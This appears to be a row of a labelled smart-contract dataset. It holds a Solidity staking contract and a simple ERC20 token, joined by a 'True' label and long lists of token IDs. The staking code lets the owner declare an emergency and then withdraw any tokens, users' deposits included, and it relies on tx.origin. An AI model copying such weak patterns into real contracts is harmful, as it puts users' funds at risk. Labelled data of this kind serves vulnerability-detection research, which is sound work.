* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}
//interface BuybackContract {
// function depositByContract(address account, uint amount) external;
//}
contract ConstantReturnStaking is Ownable {
using Address for address;
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeERC20 for IERC20;
event Stake(address account, uint amount);
event Unstake(address account, uint amount);
event RewardsTransferred(address indexed holder, uint amount);
event ReferralFeeTransferred(address indexed referrer, uint amount);
event Reinvest(address indexed holder, uint amount);
event StakingFeeChanged(uint newFee);
event UnstakingFeeChanged(uint newFee);
event ReferralFeeChanged(uint newFee);
event UniswapV2RouterChanged(address router);
event LockupTimeChanged(uint _newLockupTime);
event TrustedDepositContractAdded(address contractAddress);
event TrustedDepositContractRemoved(address contractAddress);
//event BuybackContractChanged(address contractAddress);
event FeeRecipientAddressChanged(address newAddress);
event EmergencyDeclared(address indexed owner);
// ============================= CONTRACT VARIABLES ==============================
// stake token contract address
address public TRUSTED_DEPOSIT_TOKEN_ADDRESS = 0x961C8c0B1aaD0c0b10a51FeF6a867E3091BCef17;
address public TRUSTED_REWARD_TOKEN_ADDRESS = 0xBD100d061E120b2c67A24453CF6368E63f1Be056;
//address public TRUSTED_BUYBACK_CONTRACT_ADDRESS;
// earnings reward rate
uint public REWARD_RATE_X_100 = 2000;
uint public REWARD_INTERVAL = 365 days;
// staking fee
uint public STAKING_FEE_RATE_X_100 = 0;
// unstaking fee
uint public UNSTAKING_FEE_RATE_X_100 = 0;
// this portion of earned rewards go to referrer
uint public REFERRAL_FEE_RATE_X_100 = 500;
// unstaking possible after LOCKUP_TIME
uint public LOCKUP_TIME = 5 minutes;
uint public constant EMERGENCY_WAIT_TIME = 3 days;
// If there are any undistributed or unclaimed tokens left in contract after this time
// Admin can claim them
uint public constant adminCanClaimAfter = 395 days;
// Uniswap v2 Router
IUniswapV2Router public uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// ========================= END CONTRACT VARIABLES ==============================
address public feeRecipientAddress;
uint public totalClaimedRewards = 0;
uint public totalClaimedReferralFee = 0;
uint public immutable contractStartTime;
bool public isEmergency = false;
// Contracts are not allowed to deposit, claim or withdraw
modifier noContractsAllowed() {
require(!(address(msg.sender).isContract()) && tx.origin == msg.sender, "No Contracts Allowed!");
_;
}
modifier notDuringEmergency() {
require(!isEmergency, "Cannot execute during emergency!");
_;
}
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public rewardsPendingClaim;
mapping (address => address) public referrals;
mapping (address => uint) public totalReferralFeeEarned;
mapping (address => EnumerableSet.AddressSet) private activeReferredAddressesOfUser;
mapping (address => EnumerableSet.AddressSet) private totalReferredAddressesOfUser;
mapping (address => bool) public isTrustedDepositContract;
uint public adminClaimableTime;
constructor(
address _uniswapV2RouterAddress,
address _feeRecipientAddress,
address trustedDepositTokenAddress,
address trustedRewardTokenAddress,
uint referralFeeRateX100,
uint stakingFeeRateX100,
uint unstakingFeeRateX100,
uint rewardRateX100,
uint rewardInterval,
uint lockupTime
) public {
setUniswapV2Router(IUniswapV2Router(_uniswapV2RouterAddress));
setFeeRecipientAddress(_feeRecipientAddress);
setStakingFeeRateX100(stakingFeeRateX100);
setUnstakingFeeRateX100(unstakingFeeRateX100);
setReferralFeeRateX100(referralFeeRateX100);
require(trustedDepositTokenAddress != address(0), "Invalid deposit token address!");
require(trustedRewardTokenAddress != address(0), "Invalid reward token address!");
TRUSTED_DEPOSIT_TOKEN_ADDRESS = trustedDepositTokenAddress;
TRUSTED_REWARD_TOKEN_ADDRESS = trustedRewardTokenAddress;
REWARD_RATE_X_100 = rewardRateX100;
REWARD_INTERVAL = rewardInterval;
require(REWARD_INTERVAL <= 365 days, "Contract must expire in less than 365 days!");
setLockupTime(lockupTime);
contractStartTime = now;
//require(adminCanClaimAfter <= 395 days, "Admin Claimable Time should be less than 395 days!");
adminClaimableTime = now.add(adminCanClaimAfter);
}
function setFeeRecipientAddress(address newFeeRecipientAddress) public onlyOwner {
require(newFeeRecipientAddress != address(0), "Invalid address!");
feeRecipientAddress = newFeeRecipientAddress;
emit FeeRecipientAddressChanged(feeRecipientAddress);
}
//function setBuybackContractAddress(address trustedBuybackContractAddress) external onlyOwner {
// require(trustedBuybackContractAddress != address(0), "Invalid address!");
// TRUSTED_BUYBACK_CONTRACT_ADDRESS = trustedBuybackContractAddress;
// emit BuybackContractChanged(TRUSTED_BUYBACK_CONTRACT_ADDRESS);
//}
function setStakingFeeRateX100(uint _newStakingFeeRateX100) public onlyOwner {
require(_newStakingFeeRateX100 < 100e2, "New Staking fee too much!");
STAKING_FEE_RATE_X_100 = _newStakingFeeRateX100;
emit StakingFeeChanged(STAKING_FEE_RATE_X_100);
}
function setUnstakingFeeRateX100(uint _newUnstakingFeeRateX100) public onlyOwner {
require(_newUnstakingFeeRateX100 < 100e2, "New Unstaking fee too much!");
UNSTAKING_FEE_RATE_X_100 = _newUnstakingFeeRateX100;
emit UnstakingFeeChanged(UNSTAKING_FEE_RATE_X_100);
}
function setReferralFeeRateX100(uint _newReferralFeeRateX100) public onlyOwner {
require(_newReferralFeeRateX100 < 100e2, "Too much referral fee!");
REFERRAL_FEE_RATE_X_100 = _newReferralFeeRateX100;
emit ReferralFeeChanged(REFERRAL_FEE_RATE_X_100);
}
function setUniswapV2Router(IUniswapV2Router _newUniswapV2Router) public onlyOwner {
require(address(_newUniswapV2Router) != address(0), "Invalid router!");
uniswapV2Router = _newUniswapV2Router;
emit UniswapV2RouterChanged(address(uniswapV2Router));
}
function setLockupTime(uint _newLockupTime) public onlyOwner {
require(_newLockupTime <= 90 days, "Lockup Time too long!");
LOCKUP_TIME = _newLockupTime;
emit LockupTimeChanged(LOCKUP_TIME);
}
function addTrustedDepositContractAddress(address _address) external onlyOwner {
isTrustedDepositContract[_address] = true;
emit TrustedDepositContractAdded(_address);
}
function removeTrustedDepositContractAddress(address _address) external onlyOwner {
isTrustedDepositContract[_address] = false;
emit TrustedDepositContractRemoved(_address);
}
modifier onlyTrustedDepositContract() {
require(isTrustedDepositContract[msg.sender], "Not trusted deposit contract!");
_;
}
function setContractVariables(
uint lockupTime,
uint referralFeeRateX100,
uint stakingFeeRateX100,
uint unstakingFeeRateX100,
address router,
address _feeRecipientAddress
) external onlyOwner {
setLockupTime(lockupTime);
setReferralFeeRateX100(referralFeeRateX100);
setStakingFeeRateX100(stakingFeeRateX100);
setUnstakingFeeRateX100(unstakingFeeRateX100);
setUniswapV2Router(IUniswapV2Router(router));
setFeeRecipientAddress(_feeRecipientAddress);
}
function declareEmergency() external onlyOwner notDuringEmergency {
isEmergency = true;
adminClaimableTime = now.add(EMERGENCY_WAIT_TIME);
LOCKUP_TIME = 0;
emit EmergencyDeclared(owner);
}
function doSwap(address fromToken, address toToken, uint fromTokenAmount, uint amountOutMin, uint deadline)
private returns (uint _toTokenReceived) {
if (fromToken == toToken) {
return fromTokenAmount;
}
IERC20(fromToken).safeApprove(address(uniswapV2Router), 0);
IERC20(fromToken).safeApprove(address(uniswapV2Router), fromTokenAmount);
uint oldToTokenBalance = IERC20(toToken).balanceOf(address(this));
address[] memory path;
if (fromToken == uniswapV2Router.WETH() || toToken == uniswapV2Router.WETH()) {
path = new address[](2);
path[0] = fromToken;
path[1] = toToken;
} else {
path = new address[](3);
path[0] = fromToken;
path[1] = uniswapV2Router.WETH();
path[2] = toToken;
}
uniswapV2Router.swapExactTokensForTokens(fromTokenAmount, amountOutMin, path, address(this), deadline);
uint newToTokenBalance = IERC20(toToken).balanceOf(address(this));
uint toTokenReceived = newToTokenBalance.sub(oldToTokenBalance);
return toTokenReceived;
}
function updateAccount(address account, uint _amountOutMin_referralFee, uint _deadline) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
uint referralFee = pendingDivs.mul(REFERRAL_FEE_RATE_X_100).div(100e2);
uint pendingDivsAfterFee = pendingDivs.sub(referralFee);
bool success = transferReferralFeeIfPossible(referrals[account], referralFee, _amountOutMin_referralFee, _deadline);
uint amount = pendingDivs;
if (success) {
amount = pendingDivsAfterFee;
}
rewardsPendingClaim[account] = rewardsPendingClaim[account].add(amount);
totalEarnedTokens[account] = totalEarnedTokens[account].add(amount);
totalClaimedRewards = totalClaimedRewards.add(amount);
}
lastClaimedTime[account] = now;
}
function transferReferralFeeIfPossible(address account, uint amount, uint _amountOutMin_referralFee, uint _deadline) private returns (bool) {
if (account != address(0) && amount > 0) {
// swap to DYP here
uint platformTokenReceived = doSwap(TRUSTED_REWARD_TOKEN_ADDRESS, TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount, _amountOutMin_referralFee, _deadline);
totalReferralFeeEarned[account] = totalReferralFeeEarned[account].add(platformTokenReceived);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(account, platformTokenReceived);
totalClaimedReferralFee = totalClaimedReferralFee.add(platformTokenReceived);
emit ReferralFeeTransferred(account, platformTokenReceived);
return true;
}
return false;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff;
uint stakingEndTime = contractStartTime.add(REWARD_INTERVAL);
uint _now = now;
if (_now > stakingEndTime) {
_now = stakingEndTime;
}
if (lastClaimedTime[_holder] >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastClaimedTime[_holder]);
}
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(REWARD_RATE_X_100)
.mul(timeDiff)
.div(REWARD_INTERVAL)
.div(1e4);
return pendingDivs;
}
function getTotalPendingDivs(address _holder) external view returns (uint) {
uint pending = getPendingDivs(_holder);
uint awaitingClaim = rewardsPendingClaim[_holder];
return pending.add(awaitingClaim);
}
function getNumberOfHolders() external view returns (uint) {
return holders.length();
}
function getNumberOfReferredStakers(address referrer) external view returns (uint _activeStakers, uint _totalStakers) {
_activeStakers = activeReferredAddressesOfUser[referrer].length();
_totalStakers = totalReferredAddressesOfUser[referrer].length();
}
function getReferredStaker(address account, uint i) external view returns (address _staker, uint _totalEarned) {
_staker = totalReferredAddressesOfUser[account].at(i);
_totalEarned = totalEarnedTokens[_staker];
}
function getActiveReferredStaker(address account, uint i) external view returns (address _staker, uint _totalEarned) {
_staker = activeReferredAddressesOfUser[account].at(i);
_totalEarned = totalEarnedTokens[_staker];
}
function depositByContract(address account, uint amount, uint _amountOutMin_stakingReferralFee, uint _deadline) external onlyTrustedDepositContract {
require(amount > 0, "Amount must not be 0!");
require(account != address(0), "Invalid account!");
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amount);
updateAccount(account, _amountOutMin_stakingReferralFee, _deadline);
depositedTokens[account] = depositedTokens[account].add(amount);
holders.add(account);
stakingTime[account] = now;
emit Stake(account, amount);
}
function stake(uint amountToStake, address referrer, uint _amountOutMin_referralFee, uint _deadline) external noContractsAllowed notDuringEmergency {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransferFrom(msg.sender, address(this), amountToStake);
updateAccount(msg.sender, _amountOutMin_referralFee, _deadline);
uint fee = amountToStake.mul(STAKING_FEE_RATE_X_100).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
if (fee > 0) {
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(feeRecipientAddress, fee);
}
//uint _75Percent = amountAfterFee.mul(75e2).div(100e2);
//uint contractDepositAmount = doSwap(TRUSTED_DEPOSIT_TOKEN_ADDRESS, TRUSTED_REWARD_TOKEN_ADDRESS, _75Percent, _amountOutMin_75Percent, _deadline);
//IERC20(TRUSTED_REWARD_TOKEN_ADDRESS).safeApprove(TRUSTED_BUYBACK_CONTRACT_ADDRESS, 0);
//IERC20(TRUSTED_REWARD_TOKEN_ADDRESS).safeApprove(TRUSTED_BUYBACK_CONTRACT_ADDRESS, contractDepositAmount);
//BuybackContract(TRUSTED_BUYBACK_CONTRACT_ADDRESS).depositByContract(msg.sender, contractDepositAmount);
//uint remainingAmount = amountAfterFee.sub(_75Percent);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
holders.add(msg.sender);
if (referrals[msg.sender] == address(0)) {
referrals[msg.sender] = referrer;
}
totalReferredAddressesOfUser[referrals[msg.sender]].add(msg.sender);
activeReferredAddressesOfUser[referrals[msg.sender]].add(msg.sender);
stakingTime[msg.sender] = now;
emit Stake(msg.sender, amountAfterFee);
}
function unstake(uint amountToWithdraw, uint _amountOutMin_referralFee, uint _deadline) external noContractsAllowed {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > LOCKUP_TIME, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender, _amountOutMin_referralFee, _deadline);
uint fee = amountToWithdraw.mul(UNSTAKING_FEE_RATE_X_100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
if (fee > 0) {
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(feeRecipientAddress, fee);
}
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, amountAfterFee);
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
activeReferredAddressesOfUser[referrals[msg.sender]].remove(msg.sender);
}
emit Unstake(msg.sender, amountToWithdraw);
}
function claim(uint _amountOutMin_referralFee, uint _amountOutMin_claim, uint _deadline) external noContractsAllowed notDuringEmergency {
updateAccount(msg.sender, _amountOutMin_referralFee, _deadline);
uint amount = rewardsPendingClaim[msg.sender];
if (amount > 0) {
rewardsPendingClaim[msg.sender] = 0;
// swap to DYP here
uint platformTokenReceived = doSwap(TRUSTED_REWARD_TOKEN_ADDRESS, TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount, _amountOutMin_claim, _deadline);
IERC20(TRUSTED_DEPOSIT_TOKEN_ADDRESS).safeTransfer(msg.sender, platformTokenReceived);
emit RewardsTransferred(msg.sender, platformTokenReceived);
}
}
function reInvest(uint _amountOutMin_referralFee, uint _amountOutMin_reinvest, uint _deadline) external noContractsAllowed notDuringEmergency {
updateAccount(msg.sender, _amountOutMin_referralFee, _deadline);
uint amount = rewardsPendingClaim[msg.sender];
if (amount > 0) {
rewardsPendingClaim[msg.sender] = 0;
// swap to DYP here
uint platformTokenReceived = doSwap(TRUSTED_REWARD_TOKEN_ADDRESS, TRUSTED_DEPOSIT_TOKEN_ADDRESS, amount, _amountOutMin_reinvest, _deadline);
// re-invest here
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(platformTokenReceived);
// no lock time reset for reinvest
// stakingTime[msg.sender] = now;
emit Reinvest(msg.sender, platformTokenReceived);
}
}
function getStakersList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = stakingTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// admin can claim any tokens left in the contract after it expires or during emergency
function claimAnyToken(address token, address recipient, uint amount) external onlyOwner {
require(recipient != address(0), "Invalid Recipient");
require(now > adminClaimableTime, "Contract not expired yet!");
if (token == address(0)) {
address payable _recipient = payable(recipient);
_recipient.transfer(amount);
return;
}
IERC20(token).safeTransfer(recipient, amount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2410,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
18667,
2094,
1011,
1017,
1011,
11075,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2340,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
2011,
7065,
8743,
2075,
1996,
12598,
2043,
2019,
1008,
3169,
2058,
12314,
2015,
1012,
1008,
1008,
2478,
2023,
3075,
2612,
1997,
1996,
4895,
5403,
18141,
3136,
11027,
2015,
2019,
2972,
1008,
2465,
1997,
12883,
1010,
2061,
2009,
1005,
1055,
6749,
2000,
2224,
2009,
2467,
1012,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2804,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1009,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
2804,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4942,
6494,
7542,
1997,
2048,
27121,
24028,
1010,
7065,
8743,
2075,
2007,
7661,
4471,
2006,
1008,
2058,
12314,
1006,
2043,
1996,
2765,
2003,
4997,
1007,
1012,
1008,
1008,
13637,
2000,
5024,
3012,
1005,
1055,
1036,
1011,
1036,
6872,
1012,
1008,
1008,
5918,
1024,
1008,
1008,
1011,
4942,
6494,
7542,
3685,
2058,
12314,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-11
*/
pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract ParkShiba is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Park Shiba";
symbol = "PShiba";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[msg.sender] = 100000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2340,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2340,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2340,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
3206,
9413,
2278,
11387,
18447,
2121,
12172,
1063,
